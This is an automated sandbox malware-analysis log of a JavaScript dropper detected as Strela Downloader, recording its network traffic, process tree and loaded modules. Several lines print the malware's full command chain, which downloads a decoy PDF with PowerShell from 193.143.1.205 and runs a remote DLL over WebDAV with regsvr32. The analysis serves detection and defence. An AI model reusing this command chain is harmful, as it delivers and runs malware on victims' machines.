HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2059079552.000001A107C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2122941360.000001695C978000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2122379341.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2122941360.000001695C978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: net.exe, 00000007.00000002.2123027525.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2122379341.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/f
Source: svchost.exe, 00000009.00000002.3336129857.0000021CAF600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2122822141.0000021CAF360000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1440, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1026278051441931198.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2wxdoia.yxn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1644,i,13701660431010599657,6285009290053691547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1644,i,13701660431010599657,6285009290053691547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
